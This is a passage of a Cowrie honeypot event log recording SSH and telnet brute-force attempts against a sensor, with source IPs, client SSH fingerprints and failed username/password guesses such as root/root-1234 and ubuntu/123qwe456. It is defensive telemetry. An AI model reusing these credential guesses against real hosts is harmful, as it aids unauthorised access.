nssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:32.500000Z","src_ip":"202.61.233.105","session":"7414f2e5583d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mkr","password":"maker2024","message":"login attempt [mkr/maker2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:32.787184Z","src_ip":"202.61.233.105","session":"7414f2e5583d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.12800717353821,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:33.409230Z","src_ip":"137.184.5.188","session":"8301110b882f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:33.882963Z","src_ip":"202.61.233.105","session":"7414f2e5583d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":40320,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a28bc9b521","protocol":"ssh","message":"New connection: 45.61.148.179:40320 (159.203.135.109:22) [session: 63a28bc9b521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:36.298817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:36.302871Z","src_ip":"45.61.148.179","session":"63a28bc9b521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:36.368113Z","src_ip":"45.61.148.179","session":"63a28bc9b521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe456","message":"login attempt [ubuntu/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:36.661431Z","src_ip":"45.61.148.179","session":"63a28bc9b521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:37.730026Z","src_ip":"45.61.148.179","session":"63a28bc9b521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.05947995185852,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:43.669582Z","src_ip":"170.64.224.25","session":"0d4a220d2b5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.134.124.8","src_port":33024,"dst_ip":"159.203.135.109","dst_port":23,"session":"de8f10ac4828","protocol":"telnet","message":"New connection: 8.134.124.8:33024 (159.203.135.109:23) [session: de8f10ac4828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:45.606980Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.12.108.55","src_port":37712,"dst_ip":"159.203.135.109","dst_port":22,"session":"e899d30872a7","protocol":"ssh","message":"New connection: 175.12.108.55:37712 (159.203.135.109:22) [session: e899d30872a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:53.929867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:53.933353Z","src_ip":"175.12.108.55","session":"e899d30872a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:54.806772Z","src_ip":"175.12.108.55","session":"e899d30872a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root-1234","message":"login attempt [root/root-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:55.708114Z","src_ip":"175.12.108.55","session":"e899d30872a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:56.928316Z","src_ip":"175.12.108.55","session":"e899d30872a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.094133377075195,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:58.549228Z","src_ip":"137.184.5.188","session":"79ba8d03b2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":36152,"dst_ip":"10.17.0.5","dst_port":22,"session":"31a8a3fdd83e","protocol":"ssh","message":"New connection: 91.92.40.176:36152 (10.17.0.5:22) [session: 31a8a3fdd83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:59.180382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:59.184833Z","src_ip":"91.92.40.176","session":"31a8a3fdd83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:59.371268Z","src_ip":"91.92.40.176","session":"31a8a3fdd83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty","message":"login attempt [test/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:18:59.835248Z","src_ip":"91.92.40.176","session":"31a8a3fdd83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:01.135331Z","src_ip":"91.92.40.176","session":"31a8a3fdd83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":46596,"dst_ip":"159.203.135.109","dst_port":22,"session":"70cce38676cf","protocol":"ssh","message":"New connection: 185.113.139.51:46596 (159.203.135.109:22) [session: 70cce38676cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:13.099786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:13.104405Z","src_ip":"185.113.139.51","session":"70cce38676cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:13.205621Z","src_ip":"185.113.139.51","session":"70cce38676cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:13.642589Z","src_ip":"185.113.139.51","session":"70cce38676cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:14.745675Z","src_ip":"185.113.139.51","session":"70cce38676cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56470823287964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:16.171546Z","src_ip":"8.134.124.8","session":"de8f10ac4828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":45220,"dst_ip":"159.203.135.109","dst_port":23,"session":"395efdeadbe3","protocol":"telnet","message":"New connection: 137.184.5.188:45220 (159.203.135.109:23) [session: 395efdeadbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:19.403099Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57646,"dst_ip":"159.203.135.109","dst_port":23,"session":"b17d9ac40103","protocol":"telnet","message":"New connection: 107.6.151.170:57646 (159.203.135.109:23) [session: b17d9ac40103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:35.673262Z"}
{"eventid":"cowrie.session.closed","duration":0.004108905792236328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:35.677239Z","src_ip":"107.6.151.170","session":"b17d9ac40103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36356,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a47fda1b066","protocol":"telnet","message":"New connection: 170.64.224.25:36356 (159.203.135.109:23) [session: 6a47fda1b066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:38.105863Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":50160,"dst_ip":"10.17.0.5","dst_port":22,"session":"9deb1698ba79","protocol":"ssh","message":"New connection: 211.251.245.88:50160 (10.17.0.5:22) [session: 9deb1698ba79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:57.281965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:57.285447Z","src_ip":"211.251.245.88","session":"9deb1698ba79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:57.487103Z","src_ip":"211.251.245.88","session":"9deb1698ba79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567l","message":"login attempt [root/1234567l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:58.326176Z","src_ip":"211.251.245.88","session":"9deb1698ba79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:19:59.530506Z","src_ip":"211.251.245.88","session":"9deb1698ba79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50244,"dst_ip":"10.17.0.5","dst_port":23,"session":"91126b7c2b70","protocol":"telnet","message":"New connection: 94.23.66.112:50244 (10.17.0.5:23) [session: 91126b7c2b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:06.336496Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":48578,"dst_ip":"159.203.135.109","dst_port":22,"session":"89c5a44d94e5","protocol":"ssh","message":"New connection: 45.61.148.179:48578 (159.203.135.109:22) [session: 89c5a44d94e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:06.500222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:06.507143Z","src_ip":"45.61.148.179","session":"89c5a44d94e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:06.571680Z","src_ip":"45.61.148.179","session":"89c5a44d94e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Support!2025","message":"login attempt [root/Support!2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:06.872323Z","src_ip":"45.61.148.179","session":"89c5a44d94e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:07.940391Z","src_ip":"45.61.148.179","session":"89c5a44d94e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.30967950820923,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:12.415447Z","src_ip":"170.64.224.25","session":"6a47fda1b066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":45054,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b11f15414ba","protocol":"ssh","message":"New connection: 162.214.5.224:45054 (10.17.0.5:22) [session: 7b11f15414ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:13.460771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:13.465000Z","src_ip":"162.214.5.224","session":"7b11f15414ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:13.548233Z","src_ip":"162.214.5.224","session":"7b11f15414ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gavin_wood","password":"123456789","message":"login attempt [gavin_wood/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:13.812346Z","src_ip":"162.214.5.224","session":"7b11f15414ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:14.900669Z","src_ip":"162.214.5.224","session":"7b11f15414ba","protocol":"ssh"}
